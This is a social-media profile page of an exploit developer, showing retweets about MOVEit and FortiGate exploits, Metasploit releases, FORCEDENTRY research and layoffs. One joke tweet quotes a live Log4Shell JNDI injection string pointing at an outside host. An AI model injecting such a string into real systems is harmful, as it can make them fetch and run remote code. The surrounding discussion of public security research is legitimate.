Vulnerability research/exploit dev. Search and Rescue. Mountain runner, skier, climber.
Wenatchee, WA
Joined July 2012
- Tweets450
- Following784
- Followers282
- Likes1.4K
Curt Fielding retweeted
If part of your job (or your org’s job) is finding, creating new PoCs I/we (@GreyNoiseIO) would really love to chat about a creative partnership. If you’re in Vegas this week let’s chat! If you’re not, lets chat next week! #infosec #DEFCON31 #BlackHat2023
Curt Fielding retweeted
One of my favorite posters at @USENIXSecurity this year - usenix.org/conference/usenix… is an actual implementation in this direction 🤪 #usesec23
Curt Fielding retweeted
Douglas is an extremely strong and accomplished leader and researcher in offensive security and vulnerability research. You would be lucky to hire him and have him on your team
Unfortunately I was affected by the Rapid 7 layoffs and therefore looking for a new opportunity. I have 14 years of experience in offensive security, security research, technical leadership, and public speaking. I will be at @defcon starting tonight. Send me a message to chat!
Curt Fielding retweeted
I am heartbroken to have lost Doug’s leadership and deep technical skills. He is a dream hire for any team — your business will benefit hugely from his knowledge and understanding of security challenges!
Unfortunately I was affected by the Rapid 7 layoffs and therefore looking for a new opportunity. I have 14 years of experience in offensive security, security research, technical leadership, and public speaking. I will be at @defcon starting tonight. Send me a message to chat!
Curt Fielding retweeted
Unfortunately I was affected by the Rapid 7 layoffs and therefore looking for a new opportunity. I have 14 years of experience in offensive security, security research, technical leadership, and public speaking. I will be at @defcon starting tonight. Send me a message to chat!
Curt Fielding retweeted
This week's wrap up by @tychos_moose brings us a new Apache Druid RCE and multiple .NET execution improvements. We're also hiring on the Metasploit Framework team! rapid7.com/blog/post/2023/06…
Curt Fielding retweeted
Last Friday's @metasploit release adds coverage for CVE-2023-34362 in MOVEit Transfer, great work by @tychos_moose, @iagox86, @_CField and team. Nice to see the new fetch payloads in action too🔥Check out the release here: rapid7.com/blog/post/2023/06…
Curt Fielding retweeted
OK, don't tell anybody, but this attack works on current version of Progress MOVEit Transfer: 2023.0.2 (15.0.2.49). So I guess that I just dropped a 0 day here... 😅 Always remenber to check agfainst the current version!
Curt Fielding retweeted
#Fortinet patched #CVE-2023-27997, a critical vulnerability affecting its VPN #Fortigate. Our latest blogpost describes the technical details about the bug, a pre-auth heap overflow, with a twist. #xortigate
blog.lexfo.fr/xortigate-cve-…
Curt Fielding retweeted
Amazing work by @iagox86 and @_CField on this. Our RCE PoC is available here: github.com/sfewer-r7/CVE-202…
Curt Fielding retweeted
Exploit PoC is here, with thanks to @iagox86 @stephenfewer and @_CField github.com/sfewer-r7/CVE-202…
Curt Fielding retweeted
Rapid7 has released a full exploit chain for #MOVEit Transfer CVE-2023-34362. The write-up we've published in AttackerKB contains more than 30 pages of analysis and code — huge shout-out to @iagox86, @stephenfewer, and @_CField for their work on this. attackerkb.com/topics/mXmV0Y…
Curt Fielding retweeted
iOS exploits:
builds a 64-bit virtual machine from 70,000 AND/OR/XOR/XAND logic gates inside a corrupted PDF just to run jailbreak code
Java exploits:
${jndi:ldaps://notnow.dev:3389/lol}
xitter.cf/i41nbeer/status/147116…
Today we're publishing a detailed technical writeup of FORCEDENTRY, the zero-click iMessage exploit linked by Citizen Lab to the exploitation of journalists,
activists and dissidents around the world. googleprojectzero.blogspot.c…
Curt Fielding retweeted
Honored to serve. We did it right. Defend Today, Secure Tomrorow. #Protect2020
Curt Fielding retweeted
I'd assume PE parsing in the Windows kernel would be well tested but surprisingly no, five such bugs were fixed last Patch Tuesday, all found by fuzzing. They crashed the OS as soon as they'd be written to disk or worst case viewed in Explorer. Details: bugs.chromium.org/p/project-…